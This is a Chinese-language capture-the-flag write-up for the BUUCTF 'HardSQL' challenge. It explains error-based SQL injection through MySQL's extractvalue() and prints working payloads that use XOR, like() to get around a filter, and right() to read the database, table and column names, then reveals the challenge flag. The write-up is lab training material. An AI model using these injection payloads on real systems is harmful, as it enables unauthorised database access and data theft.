BUUCTF-[極客大挑戰 2019]HardSQL 1詳解


來到sql注入騷姿勢,我們一點一點開始學

我們來到這道題,然后嘗試注入,結果發現

拼接'or '1'='1

  'or '1'='2如果是字符型注入則會報錯,然而並沒有而是顯示的頁面一樣,

通過常規注入,回顯的頁面都是

 

 

最后,我們發現這道題是xpath報錯注入,函數注入

extractvalue()
extractvalue() :對XML文檔進行查詢的函數

語法:extractvalue(目標xml文檔,xml路徑)

第一個參數 :   第一個參數可以傳入目標xml文檔

第二個參數: xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

      正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

tip: 還有要注意的地方是,它能夠查詢的字符串長度最大是32個字符,如果超過32位,我們就需要用函數來查詢,比如right(),left(),substr()來截取字符串

再舉個栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 這個語句就是尋找前一段xml文檔內容中的a節點下的b節點,這里如果Xpath格式語法書寫錯誤的話,就會報錯。這里就是利用這個特性來獲得我們想要知道的內容。

利用concat函數將想要獲得的數據庫內容拼接到第二個參數中,報錯時作為內容輸出。

知道這些知識之后,我們開始注入吧

百度了web 的騷操作
用’^'來連接函數,形成異或
這邊用的是extractvalue()

我們先去爆數據庫:

先構造payload:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23

於是我們知道了庫名叫:geek

 

然后,我們再payload爆表名,但是這里把等於號給我們過濾了,不過我們還有騷操作like用法

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))

於是爆出表名:

 

 爆列名:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

 

 爆數據就完事了,這里因為用extractvalue()函數,一次只能顯示32個字符,我們需要用right函數

 

 再用right函數,爆右邊,然后拼接一下flag

 

 拼接然后得到flag

flag{62b5ffa6-498c-465f-94e5-ddc474f549dc}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM